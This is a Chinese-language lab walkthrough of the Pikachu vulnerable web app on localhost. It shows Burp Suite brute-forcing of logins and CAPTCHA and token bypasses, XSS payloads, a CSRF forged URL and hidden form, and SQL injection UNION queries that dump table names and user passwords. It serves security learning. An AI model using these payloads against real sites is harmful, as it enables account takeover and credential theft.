pikachu RECORD

前提

pikachu平台搭建

https://woopokyuk.github.io/2021/06/04/XAMPP%E5%AE%89%E8%A3%85%E5%90%8E%E6%97%A0%E6%B3%95%E5%90%AF%E5%8A%A8Apache/

BurpSuite 抓本地包的方法

参考)

  • 核心是设置浏览器允许本地(localhost 127.0.0.1)使用代理

代理服务器

  • 我这里用 SwitchyOmega 插件来管理代理设置,原先设置的Burpsuite代理,默认是不代理本地主机的

image-20210607114930145

  • 需要将不代理地址列表清空

image-20210607115005856

允许劫持localhost

  • 火狐浏览器搜索 about:config

  • 搜索首选项名称 network.proxy.allow_hijacking_localhost

  • 将 false 改为 true
    • 注意:当需要Bp获取请求包时,再将 config 改为 true(如点击登录按钮等)

image-20210607122844889

1 暴力破解

1.1 基于表单的暴力破解

  • 打开Bp,先进入登录页,任意输入用户名及口令,更换为本地代理,然后将 network.proxy.allow_hijacking_localhost 改为 true,点击 Login

image-20210607123202666

  • 获取请求,CTRL + I 发送至 Intruder 模块,添加变量,攻击类型改为 Cluster bomb。并分别为用户名密码设置 payload,设置线程(这里设为 50)

image-20210607123403675

  • start attack,根据响应包长度找到两个成功登录的用户名及口令,Done!

image-20210607123835691

1.2 验证码绕过(on server)

image-20210607144107445

  • 打开 Bp,在输入框中填写任意用户名和口令,然后输入相应的验证码,选择本地代理并将 network.proxy.allow_hijacking_localhost 改为 true,用 Bp 截获请求。CTRL + R 发送到 Repeater,Go,试试验证码
  • 当我们输入页面显示的验证码会提示,用户名或密码不存在

image-20210607144054121

  • 任意修改用户名及密码,都会得到这个提示,而修改验证码则会提示

image-20210607144214033

  • 因此得到结论:后台并不会刷新验证,我们得到的验证码持续有效,因此 CTRL + I 发送到 Intruder 模块进行爆破。
  • 与上文同理可得两个账号

image-20210607144425800

1.3 验证码绕过(on client)

image-20210607150116727

  • 操作步骤同上一节服务端绕过
  • 与之不同之处,从 Repeater 开始,本次实验即使输错验证码,甚至删除验证码参数都不会提示验证码错误或验证码为空,均提示

image-20210607150404787

  • 在响应中可以看到,验证码生成与验证是通过前端 JS 实现,只有在前端通过网页登录才会进行验证。用 Bp 直接 POST 参数,是不会进行验证的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    <script language="javascript" type="text/javascript">
    var code; //在全局 定义验证码
    function createCode() {
    code = "";
    var codeLength = 5;//验证码的长度
    var checkCode = document.getElementById("checkCode");
    var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

    for (var i = 0; i < codeLength; i++) {
    var charIndex = Math.floor(Math.random() * 36);
    code += selectChar[charIndex];
    }
    //alert(code);
    if (checkCode) {
    checkCode.className = "code";
    checkCode.value = code;
    }
    }

    function validate() {
    var inputCode = document.querySelector('#bf_client .vcode').value;
    if (inputCode.length <= 0) {
    alert("请输入验证码!");
    return false;
    } else if (inputCode != code) {
    alert("验证码输入错误!");
    createCode();//刷新验证码
    return false;
    }
    else {
    return true;
    }
    }


    createCode();
    </script>
  • 删除验证码参数,或使用任意验证码按上一节同样的方式进行爆破即可,Done!

image-20210607145749921

1.4 token防爆破?

先验知识

  • 什么是 Token: 第一次登录后,服务器生成一个 Token 并返回给客户端,客户端需要带着这个 Token请求数据

  • 使用相同的 token POST 数据会提示 csrf token error

image-20210607161120581

  • 重新获取一个新的 token (重来一次)

BurpSuite Intruder模块的四种攻击类型

  • Sniper:(一个 payload)根据字典中数据,依次对标记的变量进行替换。相当于将标记的 n 个变量当作一整块,每次从字典中拿出 n 个数据依次分给这 n 个变量,直到字典用尽。
  • Battering Ram: (一个 payload)被标记的 n 个变量的变化是同步的。从字典中取出的一个数据会被同步给到这 n 个变量。
  • Pitchfork: (多个 payload)交叉替换,比如 n 个变量,会对应有 n 个 payload,每个变量的取值只能从它自己的 payload 中获得,当最少 payload 被遍历完,整个攻击过程就结束。
  • Cluster bomb: (多个 payload)n 个变量就是O(N^n) 的穷举。

具体步骤

  • 前面的步骤跟上文同理,直到发送到 Intruder
  • 由于 Token 需要从上一次响应中取值,所以攻击类型和线程是需要注意的。攻击类型需为 Pitchfork 交叉替换,线程数只能为 1

image-20210607174112388

image-20210607174059309

  • 因为交叉替换会同步遍历 payload,所以如果标记用户名、口令、token 三个变量,那有可能可登录的账号密码不能被遍历到,所以这里的实验只标记了口令和 token,用户名直接猜测是 admin

image-20210607173823435

  • payload 1 选择口令字典;payload 2 由于需要从上一个响应中获取,所以选择 Recursive grep 通过递归搜索

image-20210607174135371

  • Options 中需要添加数据提取

image-20210607174304560

  • 点击 Refetch response,搜索 token 选中后点击 ok

image-20210607174356418

  • start attack, Done!

image-20210607174606081

2 XSS

先验知识

分类

反射型,存储型,DOM 型

如何避免

  • 输入过滤
  • 输出转义

2.1 反射型xss(get)

  • 任意输入,发现 GET 参数 message 在变。也可 F12 查看元素得到这个信息

image-20210607201133554

  • 由于有长度限制,所以直接在 URL 中进行修改使 message 为 <script>alert(1)</script>
1
http://localhost:8081/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit#
  • 页面弹窗,DONE!

image-20210607201441646

2.2 反射性xss(post)

  • 需要登录,所以先进行弱口令爆破

  • 易得

image-20210607202353673

  • admin/123456 登录进去,直接在输入框中输入 <script>alert(1)</script>,即刻弹窗

image-20210607202851131

  • 在 BurpSutie 中修改 POST 请求体的内容再 Foward 道理是一样的。Done!

image-20210607203107776

2.3 存储型xss

与反射型 XSS 不同,存储型 XSS 会被存储到服务器,是持久型的。也就是说只要成功注入 XSS,用户每次访问都会有效(XSS)

image-20210607203307990

  • 在留言框,留言<script>alert(1)</script> 即可

image-20210607203354310

2.4 DOM型xss

2.4.1 什么是 DOM

参考 HTML DOM

Document Object Model(文档对象模型)将 HTML 文档表达为树结构。它定义了所有 HTML 元素的对象和属性,以及访问它们的方法。通过 HTML DOM,树中的所有节点均可通过 JavaScript 的一些 API 进行访问,所有 HTML 元素均可被修改,也可以创建或删除节点。

HTML DOM 方法 (w3school.com.cn)

2.4.2 具体步骤

  • 点击按钮,显示 “what do you see?” 的链接,这个链接指向的就是当前当前页

image-20210607210035764

  • F12 找到这个元素

image-20210607210703950

  • 所以,我们在输入框输入的数据会通过 DOM 方法 getElementById() 获取到并初始化 str,第二个 getElementById("dom") 则会找到 dom 元素,并通过 innerHTML 属性获取元素内容。这样的话,我们可以通过对输出值的修改闭合前面的单引号然后注入。
1
'><img src="#" onmouseover="alert('xss')">
  • 原来的 dom 节点就会被修改为

image-20210607211555195

  • 只要鼠标在图片上放移动,就会触发 XSS

image-20210607211922958

2.4.3 拓展

  • 为了加深理解,我们可以自己闭合标签后,在页面新增输入框等元素
1
'><input id="hh" name="hh" type="text" value>

image-20210607212408963

  • 新增按钮
1
'><input id="hh" name="hh" type="button" value="hh">

image-20210607212537663

2.5 DOM型xss-x

  • 点击按钮后出现一个超链接

image-20210607233707959

  • 点击该链接,发现 dom 节点

image-20210607233836115

  • 再往前看看源码,所以首先会从输入框获取字符串,然后以 “text=” 进行分割后,选第二个元素;再将这个元素中的加号换成空格,然后再送给 getElementById 处理。

image-20210607233913956

  • 可以输入字符串后,直接在浏览器控制台跑一下代码,看看其变化
1
2
3
'><img src="#" onmouseover="alert('xss')">

' onclick="alert('xss')">

image-20210607234252072

image-20210607234312425

  • 所以道理是一样的,只不过受影响的节点是点击按钮后的第二条链接处

image-20210607234438728

  • DONE!

2.6 xss盲打

核心就是尝试

image-20210608234642882

image-20210608234739069

  • 弱口令爆破可以得到 admin/123456,进入后台可以看到已有的留言

image-20210608234837073

  • 尝试在留言框写入
1
<script>alert(1)</script>
  • 管理员重新进入后台时,就会触发 xss

image-20210608235226651


当然姓名框也可以进行 xss

image-20210608235355873


2.7 xss之过滤

  • 大小写绕过
1
<Script>alert(1)</Script>

2.8 xss之htmlspecialchars

2.8.1 htmlspecialchars

PHP: htmlspecialchars - Manual

  • & (& 符号) &amp;
  • " (双引号) &quot;,除非设置了 ENT_NOQUOTES
  • ' (单引号) 设置了 ENT_QUOTES 后进行转换:
    • #039; (如果是 ENT_HTML401) ,或者
    • &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
  • < (小于)成为 &lt;
  • > (大于)成为 &gt;

2.8.2 具体步骤

image-20210609222240442

  • 输入测试代码 <script>alert(1)</script> 后,查看源码,发现 <> 被替换掉了
1
<p class='notice'>你的输入已经被记录:</p><a href='&lt;script&gt;alert(1)&lt;/script&gt;'>&lt;script&gt;alert(1)&lt;/script&gt;</a>            </div>
  • 输入单引号进行测试
1
p class='notice'>你的输入已经被记录:</p><a href='''>'</a> 
  • 所以可以通过只是用单引号的方法注入,成功
1
2
3
' onclick='alert(1)'
或者
' onmouseover='alert(1)'

image-20210609223539074

image-20210609223629192

  • 查看源码,这段代码是完成注入的

image-20210609223735459

2.9 xss之href输出

  • 输入测试
1
&"'<>
  • 查看网页源码
1
<a href='&amp;&quot;&#039;&lt;&gt;'> 阁下自己输入的url还请自己点一下吧</a>
  • 都被转换过了,所以尝试 JavaScript 伪协议 参考
1
javascript:alert(1)
  • 查看一下源码,成功注入

image-20210609230835988

  • 点击链接,即可触发 XSS

image-20210609230740761

2.10 xss之js输出

  • 随便输入个 123 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
<script>
$ms='123';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}
</script>
  • 发现输入会直接插入到 JavaScript 中,所以 '</script> 闭合前面的 <script>,然后就可以写入 XSS 了
1
</script><script>alert(1)</script>

image-20210609234552759

3 CSRF

先验知识

XSS与CSRF的区别 - 抖音2020 - 博客园 (cnblogs.com)

浅谈CSRF攻击方式 - hyddd - 博客园 (cnblogs.com)

  • CSRF(跨站请求伪造)与 XSS 的区别:
    • CSRF 需要用户先登录网站A,获取 cookie。XSS 不需要登录
    • CSRF 是利用网站A本身的漏洞,去请求网站A的api。XSS 是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。

总的来说就是:攻击者盗用用户的身份,假装用户发起恶意请求

3.1 CSRF(get) login

  • 输入 lili/123456 点击登录并截获请求
1
2
3
4
5
6
7
8
9
10
GET /pikachu/vul/csrf/csrfget/csrf_get_login.php?username=lili&password=123456&submit=Login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8081/pikachu/vul/csrf/csrfget/csrf_get_login.php
Cookie: PHPSESSID=if4hcn3lljacuqfjpg55llim4g
Upgrade-Insecure-Requests: 1
  • 登陆后信息

image-20210611104359920

  • 修改个人信息并抓包(修改手机号为 123)
1
2
3
4
5
6
7
8
9
10
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=&phonenum=123&add=&email=&submit=submit HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8081/pikachu/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=if4hcn3lljacuqfjpg55llim4g
Upgrade-Insecure-Requests: 1
  • 这时,只要 lili 不退出登录,且点击链接
1
http://localhost:8081/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=0000&add=wakanda&email=hh@hh.com&submit=submit

就可以成功修改信息

image-20210611104932283

3.2 CSRF(post) login

参考

  • 登录 lili/123456,修改地址并抓包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Cookie: PHPSESSID=if4hcn3lljacuqfjpg55llim4g
Upgrade-Insecure-Requests: 1

sex=&phonenum=&add=whitep&email=&submit=submit
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:8081/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="0"><br>
<input type="hidden" name="phonenum" value="0"><br>
<input type="hidden" name="add" value="0"><br>
<input type="hidden" name="email" value="0"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
  • 将此 HTML 文件放到 ..\xampp\htdocs 目录,在不退出 lili 账户的情况下,访问 http://localhost:8081/csrf_post.html

image-20210611113033794

  • 点击按钮,信息被成功修改

image-20210611113054183

3.3 CSRF Token login

  • 首先登录 lili/123456,然后修改个人信息,用 BP 截获

image-20210615225321492

1
2
3
4
5
6
7
8
9
10
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=0&phonenum=0&add=0&email=0&token=7161660c8beacb171d715542422&submit=submit HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8081/pikachu/vul/csrf/csrftoken/token_get_edit.php
Cookie: PHPSESSID=lfobrlou9i3bel3q9bbsbkvmd9
Upgrade-Insecure-Requests: 1
  • 这里与上文 CSRF(get) login 区别在于,这里是带 token 的,由于 token 是随机的,所以这里我们无法和上文一样构造 URL 让用户点击完成信息修改了。

4 SQL 注入

先验知识

形成的原因

前端数据传到后台处理时,未做严格过滤,导致传入的数据拼接到 SQL 语句后,被执行

常见注入方法

  • UNION 注入
    • 方法:使用 UNION 语句把数据展示到页面
  • 报错注入
    • 方法:利用 MySQL 执行后的报错信息
  • 布尔盲注
    • 方法:看不到直接的数据,但是可以通过注入,看页面是否有变化来推测出数据。
    • 案例:比如在参数后添加类似 and 1=1 这种,如果页面正常返回,说明 and 是成功执行的,那这个参数就存在 SQL 注入漏洞
  • 时间盲注
    • 方法:通过 sleep() 函数,利用 IF 函数或 AND OR 的短路特性和执行时间判断 SQL 攻击的结果
    • 案例:id='1' or sleep(1);

如何避免

  • 使用预编译语句,绑定变量
  • 检查数据类型(比如邮箱,日期等按严格的格式输入)
  • 使用安全的编码函数(比如 OWASP ESAPI 中实现的encodeForSQL)

4.1 数字型注入

  • 选择任一数字,点击查询,发现 URL 并未出现对应的参数,所以应该是通过 POST 传参

image-20210615230701375

  • 用 BurpSuite 截获数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=94ocsnqcobv4btt7s7mv638b7i
Upgrade-Insecure-Requests: 1

id=1&submit=%E6%9F%A5%E8%AF%A2
  • CTRL + R 发送到 Repeater 发送,得到响应

image-20210615230926001

  • 改参数 id=2 重发一次,结果为

image-20210615231018613

  • id=2-1 重发,结果为

image-20210615231344694

  • 所以,是进行数值运算的,因此存在数字型注入
  • 通过联合查询,查询数据库所有表名
1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20210615231929918

  • 查询 users 对应字段名
1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

image-20210615232221004

4.2 字符型注入

image-20210627202218102

  • 输入 1' 报错
1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
  • 猜测查询语句为
1
SELECT * FROM 表名 WHERE username='输入的用户名';
  • 所以需要先闭合前面的单引号,然后注释后面的单引号,输入以下内容
1
1' or 1=1#

image-20210627202628179

原理参考


关于 or 1=1 的解释

  • 如上述输入后,原本的查询语句就会变成
1
SELECT * FROM 表名 WHERE username='1' or 1=1#';
  • 这条语句条件判断会被后面的 or 1=1 影响,因为一直为真,所以任意 username 都会被查询

4.3 搜索型注入

  • 只要输入用户名的一部分,就可以找到该用户并输出其信息

image-20210627203853344

  • 所以可以想到 MYSQL 中 用通配符过滤 ,也即使用 % 来表示任意字符出现任意次数,所以查询语句的后半段大致应该是 username = '%用户名的部分字符%'
  • 因此,与上一例子同理,可以先输入任意字符然后闭合前面的单引号,并注释后面的单引号
1
1' or 1=1#

image-20210627204356615

4.4 xx型注入

  • 看一下源码 \xampp\htdocs\pikachu\vul\sqli
1
2
3
4
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
  • 所以需要闭合前面的小括号
1
1') or 1=1#

image-20210627205214188

拓展1 联合查询

参考

UNION

如何查询字段数?
  • 利用 order by 1 测试,以字符型注入为例,可以输入
1
1' order by 1#
1
1' order by 2#

返回结果均为

image-20210627210220009

  • 当输入
1
1' order by 3#

报错

image-20210627210307201

  • 因此可以确定有两个字段

  • 可以通过 UNION 查询,获取数据库名 database(),版本 version() ,用户 user() 。当然如果只需要查询其中某个信息,可以用任意数值代替其他字段,如

1
1' union select database(),2#

image-20210627210627812

information_schema

a. 获取表名 table_schema
  • 根据上文,我们已经可以知道数据库名称为 pikachu ,可以构造查询语句,查询 table_schema
1
1'union select 1,table_name from information_schema.tables where table_schema=database()#

image-20210627212118693

b. 获取字段名 table_name
  • 由上文可知,有一个表为 user,所以里面极可能存放用户名及密码等重要信息
  • 同理可以构造查询语句,查询表 users 中的字段
1
1' union select 1,column_name from information_schema.columns where table_name='users'#

image-20210627212426636

c. 获取内容
1
1' union select username,password from users#

image-20210627212713423

拓展2 报错

p28



----------- 本文结束 -----------




0%